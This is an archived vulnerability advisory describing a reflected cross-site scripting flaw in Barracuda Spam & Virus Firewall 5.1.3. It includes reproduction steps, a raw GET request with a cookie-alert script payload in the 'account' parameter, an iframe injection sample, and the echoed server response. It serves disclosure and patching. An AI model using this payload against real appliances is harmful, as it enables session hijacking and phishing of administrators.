Exploit the possiblities

Barracuda Networks Spam / Virus Firewall 5.1.3 XSS

Barracuda Networks Spam / Virus Firewall 5.1.3 XSS
Posted Jul 28, 2014
Authored by Ateeq ur Rehman Khan | Site vulnerability-lab.com

Barracuda Networks Spam and Virus Firewall version 5.1.3 suffers from a cross site scripting vulnerability.

tags | exploit, virus, xss
MD5 | 24cc68791462f50f645d1cd9d86eb112

Barracuda Networks Spam / Virus Firewall 5.1.3 XSS

Change Mirror Download
Document Title:
Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability

References (Source):

Barracuda Networks Security ID (BNSEC): BNSEC-1052

Solution #00006606
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
For efficient, effective corporate communication and collaboration, today’s organizations need more than just
security against spam and malware. They need a comprehensive email governance solution that combines granular
policy management, real-time visibility into email activity, and the ability to handle massive volume and
huge files. Barracuda Spam & Virus Firewall is today’s solution for comprehensive email governance.

(Copy of the Vendor Product Homepage: https://www.barracuda.com/products/spamandvirusfirewall/ )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a client-side cross site vulnerability in the Barracuda Spam and Virus Firewall v5.1.3 (200,400 or 600) & Vx web-application.

Vulnerability Disclosure Timeline:
2013-11-19: Researcher Notification & Coordination (Ateeq Khan)
2013-11-19: Vendor Notification (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-12-20: Vendor Response/Feedback (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-07-15: Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-07-25: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Barracuda Networks
Product: Spam & Virus Firewall - 100 200 300 400 500 600 700 800 900 1000

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site scripting web vulnerability is detected in the official Barracuda Spam & Antivirus Firewall Web-Application.
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).

The vulnerability is located in the `Per User Account View` module of the security appliance web-application. The vulnerable file is
index.cgi and the affected value is `account`. Remote attackers can inject own malicious script codes on client-side. The attack
vector of the issue is non-persistent and the request method to execute the malicious code is GET. Remote attackers can for example
send manipualted links to priviledged application users to hijack session information (client-side) or execute non persistent codes.

The security risk of the non-persistent input validation web vulnerability is estimated as low with a cvss (common vulnerability
scoring system) count of 2.9. The non persistent cross site vulnerability can be exploited by remote attackers without privileged
application user account and with low or medium user interaction. Successful exploitation of the client-side cross site scripting
web vulnerability results in session hijacking, client-side phishing, client-side unauthorized external redirects and client-side
manipulation of the connected or affected module context.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Users > Per User Account View

Vulnerable File(s):
[+] index.cgi

Vulnerable Parameter(s):
[+] account=

Proof of Concept (PoC):
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with
low user interaction click. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the security vulnerability ...

1. Login to the spam and antivirus firewall as normal guest user
2. Once logged in, click on the Basic Tab once
3. Now copy paste the following payload in the URL carefully after the password field replacing all other variables with our string


4. You should now be able to see a javascript popup revealing the session cookies hence proving the existence of this vulnerability!

PoC: Frame Inject

PoC: Cookie Steal

Review: Change Password - Mail Session Title
<tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top" width="100%">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td class="TitleLeft"></td><td class="TitleTop">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td><a name="Change Password:domainadmin@barracuda.comaf92c>
<iframe src=http://www.vulnerability-lab.com>e352896d01c">
Change Password:domainadmin@barracuda.comaf92c><iframe src="http://www.vulnerability-lab.com">e352896d01c</td>

--- PoC Session Request Logs ---
GET /cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view&account=domainadmin@barracuda.comaf92c%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee352896d01c&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500 HTTP/1.1
Host: spam.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; ys-preview_south=o%3Acollapsed%3Db%253A1; ys-preview_east=o%3Acollapsed%3Db%253A0
Connection: keep-alive

HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/
Expires: Thu, 18 Oct 2012 23:48:26 GMT
Date: Fri, 18 Oct 2013 23:48:26 GMT
Content-Length: 8325

<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<a name="Change Password:domainadmin@barracuda.comaf92c"><script>alert(document.cookie)</script>e352896d01c"/>


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse of the account and session id echo when processing to reset passwords via the email address.
Parse the parameter value input of the account and encode the output in the session values.

Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page or use the regular customer panel

Security Risk:
The security risk of the client-side cross site scripting web vulnerability is estimated as medium.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?

Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By